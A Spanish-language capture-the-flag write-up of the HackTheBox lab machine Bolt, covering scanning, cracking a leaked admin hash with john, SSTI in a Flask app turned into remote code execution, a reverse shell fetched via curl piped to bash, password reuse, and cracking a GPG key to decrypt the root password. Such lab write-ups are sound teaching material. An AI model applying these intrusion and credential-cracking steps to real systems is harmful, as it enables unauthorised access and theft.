¡Hola! Vamos a resolver de la máquina Bolt
de dificultad “Media” de la plataforma HackTheBox.
Técnicas Vistas:
- Information Leakage
- Subdomain Enumeration
- SSTI (Server Side Template Injection)
- Abusing PassBolt
- Abusing GPG
Preparación Entorno
Antes de iniciar la fase de enumeración y reconocimiento procederemos a crear un directorio de trabajo con el nombre Bolt
. Una vez creado accedemos al directorio y con la ayuda de la función que tenemos definida en la zshrc mkt
crearemos cuatro directorios de trabajo nmap, content, exploits y scripts
donde almacenaremos de una manera ordenada toda la información que vayamos recopilando de la máquina en función de su naturaleza.
1
2
3
function mkt(){
mkdir {nmap,content,exploits,scripts}
}
Reconocimiento
Accedemos al directorio de trabajo nmap
e iniciamos nuestra fase de reconocimiento realizando un ping
a la IP de la máquina para comprobar que esté activa y detectamos su sistema operativo basándonos en el ttl
de una traza ICMP.
1
2
3
4
5
6
7
❯ ping -c 1 10.10.11.128
PING 10.10.11.128 (10.10.11.128) 56(84) bytes of data.
64 bytes from 10.10.11.128: icmp_seq=1 ttl=63 time=38.3 ms
--- 10.10.11.128 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 38.334/38.334/38.334/0.000 ms
Identificamos que es una maquina Linux debido a su ttl (time to live) correspondiente a 63 (Disminuye en 1 debido a que realiza un salto adicional en el entorno de HackTHeBox).
- TTL => 64 Linux
- TTL => 128 Windows
Continuamos con la enumeración de los 65535 puertos en la máquina.
1
2
3
4
5
6
nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 10.10.11.128 -oG allPorts
PORT STATE SERVICE REASON
22/tcp open ssh syn-ack ttl 63
80/tcp open http syn-ack ttl 63
443/tcp open https syn-ack ttl 63
Luego de identificar los puertos abiertos OPEN
, se procede a escanear servicios y versiones que puedan estar corriendo en los puertos abiertos detectados.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
nmap -sCV -p22,80,443 10.10.11.128 -oN targeted
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 4d:20:8a:b2:c2:8c:f5:3e:be:d2:e8:18:16:28:6e:8e (RSA)
| 256 7b:0e:c7:5f:5a:4c:7a:11:7f:dd:58:5a:17:2f:cd:ea (ECDSA)
|_ 256 a7:22:4e:45:19:8e:7d:3c:bc:df:6e:1d:6c:4f:41:56 (ED25519)
80/tcp open http nginx 1.18.0 (Ubuntu)
|_http-title: Starter Website - About
|_http-server-header: nginx/1.18.0 (Ubuntu)
443/tcp open ssl/http nginx 1.18.0 (Ubuntu)
| http-title: Passbolt | Open source password manager for teams
|_Requested resource was /auth/login?redirect=%2F
| ssl-cert: Subject: commonName=passbolt.bolt.htb/organizationName=Internet Widgits Pty Ltd/stateOrProvinceName=Some-State/countryName=AU
| Not valid before: 2021-02-24T19:11:23
|_Not valid after: 2022-02-24T19:11:23
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_ssl-date: TLS randomness does not represent time
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Observamos dominio passbolt.bolt.htb
. Lo agregamos a nuestro /etc/hosts
Reconocimiento Web
Iniciamos el reconocimiento del servicio web con la herramienta whatweb
la cual nos muestra información sobre las tecnologías web que incluyen sistemas de gestión de contenido (CMS), plataformas de blogs, paquetes de estadísticas / análisis, bibliotecas JavaScript, servidores web y dispositivos integrados.
1
2
3
4
5
❯ whatweb http://passbolt.bolt.htb
http://passbolt.bolt.htb [200 OK] Bootstrap, Country[RESERVED][ZZ], Email[example@company.com], HTML5, HTTPServer[Ubuntu Linux][nginx/1.18.0 (Ubuntu)], IP[10.10.11.128], JQuery, Meta-Author[Themesberg], Open-Graph-Protocol[website], Script, Title[Starter Website - About][Title element contains newline(s)!], nginx[1.18.0]
❯ whatweb https://passbolt.bolt.htb
https://passbolt.bolt.htb [302 Found] Cookies[passbolt_session], Country[RESERVED][ZZ], HTTPServer[Ubuntu Linux][nginx/1.18.0 (Ubuntu)], HttpOnly[passbolt_session], IP[10.10.11.128], RedirectLocation[/auth/login?redirect=%2F], UncommonHeaders[content-security-policy], nginx[1.18.0]
https://passbolt.bolt.htb/auth/login?redirect=%2F [200 OK] Cookies[csrfToken,passbolt_session], Country[RESERVED][ZZ], Django, HTML5, HTTPServer[Ubuntu Linux][nginx/1.18.0 (Ubuntu)], HttpOnly[passbolt_session], IP[10.10.11.128], Script, Strict-Transport-Security[max-age=31536000; includeSubDomains], Title[Passbolt | Open source password manager for teams], UncommonHeaders[x-permitted-cross-domain-policies,referrer-policy,x-download-options,x-content-type-options,x-gpgauth-version,x-gpgauth-login-url,x-gpgauth-logout-url,x-gpgauth-verify-url,x-gpgauth-pubkey-url,access-control-expose-headers,x-gpgauth-authenticated,x-gpgauth-progress,x-gpgauth-error,x-gpgauth-debug,content-security-policy], X-Frame-Options[sameorigin], nginx[1.18.0]
Accedemos a los servicios web por los puertos 80 y 443 para inspeccionar su contenido. En el puerto 443 observamos un panel con un input de email, tratamos de instroducir un email pero no está autorizado para acceder a este servicio, necesitamos una invitación. Lo dejamos aparcado de momento seguimos con el puerto 80
Nos encontramos ante lo que parece ser un servicio de Administración gestionado con Admin LTE
. Reconociendo la página web nos percatamos de una sección download
en la que podemos descargarnos un archivo image.tar
. Nos lo descargamos a nuestro directorio de trabajo para examinarlo detenidamente
Descomprimimos el archivo y observamos en su contenido varias carpetas con archivos layer.tar
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
❯ tree -fas
.
├── [ 40] ./187e74706bdc9cb3f44dca230ac7c9962288a5b8bd579c47a36abf64f35c2950
│ ├── [ 406] ./187e74706bdc9cb3f44dca230ac7c9962288a5b8bd579c47a36abf64f35c2950/json
│ ├── [ 4463104] ./187e74706bdc9cb3f44dca230ac7c9962288a5b8bd579c47a36abf64f35c2950/layer.tar
│ └── [ 3] ./187e74706bdc9cb3f44dca230ac7c9962288a5b8bd579c47a36abf64f35c2950/VERSION
├── [ 40] ./1be1cefeda09a601dd9baa310a3704d6309dc28f6d213867911cd2257b95677c
│ ├── [ 482] ./1be1cefeda09a601dd9baa310a3704d6309dc28f6d213867911cd2257b95677c/json
│ ├── [ 3072] ./1be1cefeda09a601dd9baa310a3704d6309dc28f6d213867911cd2257b95677c/layer.tar
│ └── [ 3] ./1be1cefeda09a601dd9baa310a3704d6309dc28f6d213867911cd2257b95677c/VERSION
├── [ 40] ./2265c5097f0b290a53b7556fd5d721ffad8a4921bfc2a6e378c04859185d27fa
│ ├── [ 482] ./2265c5097f0b290a53b7556fd5d721ffad8a4921bfc2a6e378c04859185d27fa/json
│ ├── [ 15360] ./2265c5097f0b290a53b7556fd5d721ffad8a4921bfc2a6e378c04859185d27fa/layer.tar
│ └── [ 3] ./2265c5097f0b290a53b7556fd5d721ffad8a4921bfc2a6e378c04859185d27fa/VERSION
├── [ 40] ./3049862d975f250783ddb4ea0e9cb359578da4a06bf84f05a7ea69ad8d508dab
│ ├── [ 482] ./3049862d975f250783ddb4ea0e9cb359578da4a06bf84f05a7ea69ad8d508dab/json
│ ├── [ 7168] ./3049862d975f250783ddb4ea0e9cb359578da4a06bf84f05a7ea69ad8d508dab/layer.tar
│ └── [ 3] ./3049862d975f250783ddb4ea0e9cb359578da4a06bf84f05a7ea69ad8d508dab/VERSION
├── [ 40] ./3350815d3bdf21771408f91da4551ca6f4e82edce74e9352ed75c2e8a5e68162
│ ├── [ 1312] ./3350815d3bdf21771408f91da4551ca6f4e82edce74e9352ed75c2e8a5e68162/json
│ ├── [ 8192] ./3350815d3bdf21771408f91da4551ca6f4e82edce74e9352ed75c2e8a5e68162/layer.tar
│ └── [ 3] ./3350815d3bdf21771408f91da4551ca6f4e82edce74e9352ed75c2e8a5e68162/VERSION
├── [ 40] ./3d7e9c6869c056cdffaace812b4ec198267e26e03e9be25ed81fe92ad6130c6b
│ ├── [ 482] ./3d7e9c6869c056cdffaace812b4ec198267e26e03e9be25ed81fe92ad6130c6b/json
│ ├── [ 29789184] ./3d7e9c6869c056cdffaace812b4ec198267e26e03e9be25ed81fe92ad6130c6b/layer.tar
│ └── [ 3] ./3d7e9c6869c056cdffaace812b4ec198267e26e03e9be25ed81fe92ad6130c6b/VERSION
├── [ 40] ./41093412e0da959c80875bb0db640c1302d5bcdffec759a3a5670950272789ad
│ ├── [ 482] ./41093412e0da959c80875bb0db640c1302d5bcdffec759a3a5670950272789ad/json
│ ├── [ 62859776] ./41093412e0da959c80875bb0db640c1302d5bcdffec759a3a5670950272789ad/layer.tar
│ └── [ 3] ./41093412e0da959c80875bb0db640c1302d5bcdffec759a3a5670950272789ad/VERSION
├── [ 40] ./745959c3a65c3899f9e1a5319ee5500f199e0cadf8d487b92e2f297441f8c5cf
│ ├── [ 482] ./745959c3a65c3899f9e1a5319ee5500f199e0cadf8d487b92e2f297441f8c5cf/json
│ ├── [ 7680] ./745959c3a65c3899f9e1a5319ee5500f199e0cadf8d487b92e2f297441f8c5cf/layer.tar
│ └── [ 3] ./745959c3a65c3899f9e1a5319ee5500f199e0cadf8d487b92e2f297441f8c5cf/VERSION
├── [ 3797] ./859e74798e6c82d5191cd0deaae8c124504052faa654d6691c21577a8fa50811.json
├── [ 40] ./9a3bb655a4d35896e951f1528578693762650f76d7fb3aa791ac8eec9f14bc77
│ ├── [ 482] ./9a3bb655a4d35896e951f1528578693762650f76d7fb3aa791ac8eec9f14bc77/json
│ ├── [ 6984192] ./9a3bb655a4d35896e951f1528578693762650f76d7fb3aa791ac8eec9f14bc77/layer.tar
│ └── [ 3] ./9a3bb655a4d35896e951f1528578693762650f76d7fb3aa791ac8eec9f14bc77/VERSION
├── [ 40] ./a4ea7da8de7bfbf327b56b0cb794aed9a8487d31e588b75029f6b527af2976f2
│ ├── [ 482] ./a4ea7da8de7bfbf327b56b0cb794aed9a8487d31e588b75029f6b527af2976f2/json
│ ├── [ 19968] ./a4ea7da8de7bfbf327b56b0cb794aed9a8487d31e588b75029f6b527af2976f2/layer.tar
│ └── [ 3] ./a4ea7da8de7bfbf327b56b0cb794aed9a8487d31e588b75029f6b527af2976f2/VERSION
├── [ 40] ./d693a85325229cdf0fecd248731c346edbc4e02b0c6321e256ffc588a3e6cb26
│ ├── [ 482] ./d693a85325229cdf0fecd248731c346edbc4e02b0c6321e256ffc588a3e6cb26/json
│ ├── [ 57565184] ./d693a85325229cdf0fecd248731c346edbc4e02b0c6321e256ffc588a3e6cb26/layer.tar
│ └── [ 3] ./d693a85325229cdf0fecd248731c346edbc4e02b0c6321e256ffc588a3e6cb26/VERSION
├── [ 161765888] ./image.tar
├── [ 1002] ./manifest.json
└── [ 119] ./repositories
11 directories, 37 files
Explorando el contenido de los mismos encontramos en ./a4ea7da8de7bfbf327b56b0cb794aed9a8487d31e588b75029f6b527af2976f2/layer.tar
un archivo db.sqlite3
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
for file in $(tree -fas | grep "layer.tar" | awk 'NF{print $NF}'); do echo -e "\n[+] Listando el contenido del archivo $file"; 7z l $file; done | less -S
.
.
.
[+] Listando el contenido del archivo ./a4ea7da8de7bfbf327b56b0cb794aed9a8487d31e588b75029f6b527af2976f2/layer.tar
7-Zip [64] 16.02 : Copyright (c) 1999-2016 Igor Pavlov : 2016-05-21
p7zip Version 16.02 (locale=es_ES.UTF-8,Utf16=on,HugeFiles=on,64 bits,4 CPUs AMD Ryzen 5 3600X 6-Core Processor (870F10),ASM,AES-NI)
Scanning the drive for archives:
1 file, 19968 bytes (20 KiB)
Listing archive: ./a4ea7da8de7bfbf327b56b0cb794aed9a8487d31e588b75029f6b527af2976f2/layer.tar
--
Path = ./a4ea7da8de7bfbf327b56b0cb794aed9a8487d31e588b75029f6b527af2976f2/layer.tar
Type = tar
Physical Size = 19968
Headers Size = 3072
Code Page = UTF-8
Date Time Attr Size Compressed Name
------------------- ----- ------------ ------------ ------------------------
2021-03-05 18:44:04 ..... 16384 16384 db.sqlite3
2021-03-05 18:39:12 D.... 0 0 root
2021-03-05 18:44:29 ..... 6 512 root/.ash_history
2021-03-05 18:41:00 D.... 0 0 tmp
------------------- ----- ------------ ------------ ------------------------
2021-03-05 18:44:29 16390 16896 2 files, 2 folders
.
.
.
Accedemos al directorio donde reside el archivo layer.tar
, descomprimimos y con sqlie3
procedemos a examinar su contenido donde encontramos una credencial con una contraseña hasheada
1
2
3
4
5
6
7
❯ sqlite3 db.sqlite3
SQLite version 3.34.1 2021-01-20 14:10:07
Enter ".help" for usage hints.
sqlite> .tables
User
sqlite> select * from User;
1|admin|admin@bolt.htb|$1$sm1RceCh$rSd3PygnS/6jlFDfF2J5q.||
Tratamos de romper la contraseña con john
1
2
3
4
5
6
7
8
9
10
11
❯ john -w:/usr/share/wordlists/rockyou.txt hash
Warning: detected hash type "md5crypt", but the string is also recognized as "md5crypt-long"
Use the "--format=md5crypt-long" option to force loading these as that type instead
Using default input encoding: UTF-8
Loaded 1 password hash (md5crypt, crypt(3) $1$ (and variants) [MD5 256/256 AVX2 8x3])
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
deadbolt (?)
1g 0:00:00:00 DONE (2022-12-10 11:57) 1.123g/s 194157p/s 194157c/s 194157C/s doida..curtis13
Use the "--show" option to display all of the cracked passwords reliably
Session completed
Con la contraseña obtenida podemos conectarnos a través del panel de login que se encuentra dentro del servicio web en el puerto 80
Reconociendo el dashboard vemos al final de la página AdminLTE Flask
lo cual nos lleva a pensar en un SSTI. Inicialmente no vemos ningún input donde aplicar el ataque. Seguimos enumerando posibles rutas con virtual hosting
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
❯ gobuster vhost -u http://bolt.htb/ -w /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 20
===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://bolt.htb/
[+] Method: GET
[+] Threads: 20
[+] Wordlist: /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt
[+] User Agent: gobuster/3.1.0
[+] Timeout: 10s
===============================================================
2022/12/10 12:20:59 Starting gobuster in VHOST enumeration mode
===============================================================
Found: mail.bolt.htb (Status: 200) [Size: 4943]
Found: demo.bolt.htb (Status: 302) [Size: 219]
Agregamos demo.bolt.htb
y mail.bolt.htb
a nuestro /etc/hosts
Porbamos las credenciales obtenidas anteriormente sin éxito. Podemos crearnos una cuenta pero nos pide un código de invitación el cual no tenemos. Inspeccionando el input del código de invitación vemos que el campo que recoge este valor se llama invite_code
Volviendo a los archivos descargados anteriormente buscamos por la cadena invite-code
1
2
3
4
5
6
7
8
grep -r -i "invite_code" --text
.
.
.
41093412e0da959c80875bb0db640c1302d5bcdffec759a3a5670950272789ad/layer.tar: invite_code = TextField('Invite Code', id='invite_code' , validators=[DataRequired()])
.
.
.
Accedemos al directorio 41093412e0da959c80875bb0db640c1302d5bcdffec759a3a5670950272789ad
y descomprimimos el archivo layer.tar
para observar en detalle su contenido
1
2
3
4
5
6
❯ tar -xf layer.tar
❯ grep -r -i "invite_code"
grep: layer.tar: binary file matches
app/base/forms.py: invite_code = TextField('Invite Code', id='invite_code' , validators=[DataRequired()])
app/base/routes.py: code = request.form['invite_code']
app/base/templates/accounts/register.html: { { form.invite_code(placeholder="Invite Code", class="form-control") } }
Listando el contenido de routes.py
localizamos el código de invitación
Ya podemos finalizar el registro de nuestra cuenta y acceder al servicio
Con las mismas credenciales creadas podemos acceder al servicio alojado en mail.bolt.htb
En este punto inspeccionamos el dashboard en busca de un posible input donde acontecer un SSTI. Probamos a cambiar el nombre de usuario en el Profile. En un principio no vemos el output reflejado en ningún sitio pero nos percatamos que en el mail
creado recientemente tenemos un correo de confirmación para los cambios solicitados, aceptamos y nos llega un correo de confirmación donde vemos que se aplica el SSTI
Consultamos en PayloadAllTheThings
y tratamos de inyectar un payload el cual nos devolverá el output del comando id
así sabremos si el SSTI deriva a un RCE
Sabiendo que tenemos capacidad de ejecutar comandos creamos un archivo index.html
con un oneliner que nos entablará una reverse shell, lo servimos mediante un servidor http y a la vez nos ponemos en escucha en el puerto 443. Con el mismo payload pero esta vez en vez de id
ejecutaremos un curl
hacia nuestro equipo pipeandolo con bash para que interprete el archivo index.html. Enviamos payload y cuando aceptemos cambios en el mail nos entabla la reverse shell con la máquina víctima y usuario www-data
Movimiento Lateral
Iniciamos el reconocimiento listando grupos, privilegios de sudo y tareas cron sin econtrar nada interesante. Mediante la herramienta linpeas.sh
escanearemos todo el sistema en búsqueda de posibles vías de escalada. Observando los resultados del análisis encontramos unas credenciales de mysql
En la carpeta home
del sistema vemos que existen dos usuarios eddie
y clark
. Probamos por si hay reutilización de contraseñas y logramos conectarnos con el usuario eddie
. En su direcotorio personal encontramos la flag de usuario
1
2
3
4
5
6
www-data@bolt:/home$ su eddie
Password:
eddie@bolt:/home$ whoami
eddie
eddie@bolt:~$ cat user.txt
05b2e00cf5124bc43***************
Escalada Privilegios
Ya conectados con el usuario eddie
volvemos a ejecutar linpeas.sh
y econtramos unos archivos de registro que contienen claves SSH.
Inspeccionando el archivo 000003.log
logramos extraer una clave privada del usuario eddie
. La extraemos, formateamos y con la herramienta gpg2john
logramos extraer el hash, el cual crackearemos mediante la herramienta john
para extraer la contraseña
1
2
3
4
5
6
7
8
9
10
11
12
13
14
❯ gpg2john key > hashGPG
❯ john -w:/usr/share/wordlists/rockyou.txt hashGPG
Using default input encoding: UTF-8
Loaded 1 password hash (gpg, OpenPGP / GnuPG Secret Key [32/64])
Cost 1 (s2k-count) is 16777216 for all loaded hashes
Cost 2 (hash algorithm [1:MD5 2:SHA1 3:RIPEMD160 8:SHA256 9:SHA384 10:SHA512 11:SHA224]) is 8 for all loaded hashes
Cost 3 (cipher algorithm [1:IDEA 2:3DES 3:CAST5 4:Blowfish 7:AES128 8:AES192 9:AES256 10:Twofish 11:Camellia128 12:Camellia192 13:Camellia256]) is 9 for all loaded hashes
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
merrychristmas (Eddie Johnson)
1g 0:00:01:42 DONE (2022-12-10 17:18) 0.009762g/s 418.2p/s 418.2c/s 418.2C/s mhines..menudo
Use the "--show" option to display all of the cracked passwords reliably
Session completed
Con las credenciales de mysql encontradas anteriormente accedemos a la base de datos, y en la base de datos passboltdb
y tabla secrets
localizamos un mensaje GPG cifrado. Nos lo traemos a nuestro equipo de trabajo
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
❯ cat message.crypted
───────┬─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
│ File: message.crypted
───────┼─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
1 │ -----BEGIN PGP MESSAGE-----
2 │ Version: OpenPGP.js v4.10.9
3 │ Comment: https://openpgpjs.org
4 │
5 │ wcBMA/ZcqHmj13/kAQgAkS/2GvYLxglAIQpzFCydAPOj6QwdVV5BR17W5psc
6 │ g/ajGlQbkE6wgmpoV7HuyABUjgrNYwZGN7ak2Pkb+/3LZgtpV/PJCAD030kY
7 │ pCLSEEzPBiIGQ9VauHpATf8YZnwK1JwO/BQnpJUJV71YOon6PNV71T2zFr3H
8 │ oAFbR/wPyF6Lpkwy56u3A2A6lbDb3sRl/SVIj6xtXn+fICeHjvYEm2IrE4Px
9 │ l+DjN5Nf4aqxEheWzmJwcyYqTsZLMtw+rnBlLYOaGRaa8nWmcUlMrLYD218R
10 │ zyL8zZw0AEo6aOToteDPchiIMqjuExsqjG71CO1ohIIlnlK602+x7/8b7nQp
11 │ edLA7wF8tR9g8Tpy+ToQOozGKBy/auqOHO66vA1EKJkYSZzMXxnp45XA38+u
12 │ l0/OwtBNuNHreOIH090dHXx69IsyrYXt9dAbFhvbWr6eP/MIgh5I0RkYwGCt
13 │ oPeQehKMPkCzyQl6Ren4iKS+F+L207kwqZ+jP8uEn3nauCmm64pcvy/RZJp7
14 │ FUlT7Sc0hmZRIRQJ2U9vK2V63Yre0hfAj0f8F50cRR+v+BMLFNJVQ6Ck3Nov
15 │ 8fG5otsEteRjkc58itOGQ38EsnH3sJ3WuDw8ifeR/+K72r39WiBEiE2WHVey
16 │ 5nOF6WEnUOz0j0CKoFzQgri9YyK6CZ3519x3amBTgITmKPfgRsMy2OWU/7tY
17 │ NdLxO3vh2Eht7tqqpzJwW0CkniTLcfrzP++0cHgAKF2tkTQtLO6QOdpzIH5a
18 │ Iebmi/MVUAw3a9J+qeVvjdtvb2fKCSgEYY4ny992ov5nTKSH9Hi1ny2vrBhs
19 │ nO9/aqEQ+2tE60QFsa2dbAAn7QKk8VE2B05jBGSLa0H7xQxshwSQYnHaJCE6
20 │ TQtOIti4o2sKEAFQnf7RDgpWeugbn/vphihSA984
21 │ =P38i
22 │ -----END PGP MESSAGE-----
───────┴─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
Procedemos a importar la clave obtenida anteriormente del usuario eddie
, insertamos la password crackeada
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
gpg --import key
┌──────────────────────────────────────────────────────────────────────┐
│ Introduzca frase contraseña para importar la clave secreta OpenPGP: │
│ "Eddie Johnson <eddie@bolt.htb>" │
│ clave de 2048-bit RSA, ID 1C2741A3DC3B4ABD, │
│ creada el 2021-02-25. │
│ │
│ │
│ Frase contraseña: **************____________________________________ │
│ │
│ <OK> <Cancelar> │
└──────────────────────────────────────────────────────────────────────┘
gpg: creado el directorio '/root/.gnupg'
gpg: caja de claves '/root/.gnupg/pubring.kbx' creada
gpg: /root/.gnupg/trustdb.gpg: se ha creado base de datos de confianza
gpg: clave 1C2741A3DC3B4ABD: clave pública "Eddie Johnson <eddie@bolt.htb>" importada
gpg: clave 1C2741A3DC3B4ABD: clave secreta importada
gpg: Cantidad total procesada: 1
gpg: importadas: 1
gpg: claves secretas leídas: 1
gpg: claves secretas importadas: 1
Una vez importada la clave procedemos a desencriptar el mensaje obtenido en mysql
1
2
3
4
5
6
7
8
9
❯ gpg -d message.crypted
gpg: cifrado con clave de 2048 bits RSA, ID F65CA879A3D77FE4, creada el 2021-02-25
"Eddie Johnson <eddie@bolt.htb>"
{"password":"Z(2rmxsNW(Z?3=p/9s","description":""}gpg: Firmado el sáb 06 mar 2021 16:33:54 CET
gpg: usando RSA clave 1C2741A3DC3B4ABD
gpg: Firma correcta de "Eddie Johnson <eddie@bolt.htb>" [desconocido]
gpg: ATENCIÓN: ¡Esta clave no está certificada por una firma de confianza!
gpg: No hay indicios de que la firma pertenezca al propietario.
Huellas dactilares de la clave primaria: DF42 6BC7 A4A8 AF58 E50E DA0E 1C27 41A3 DC3B 4ABD
La contraseña obtenida es la del usuario root
. La flag de root la encontramos en el directorio /root
1
2
3
4
5
6
eddie@bolt:/tmp/privesc$ su root
Password:
root@bolt:/tmp/privesc# whoami
root
root@bolt:/tmp/privesc# cat /root/root.txt
abfdbf15c93ebc60a***************
Hemos completado la máquina Bolt de HackTheBox!! Happy Hacking!!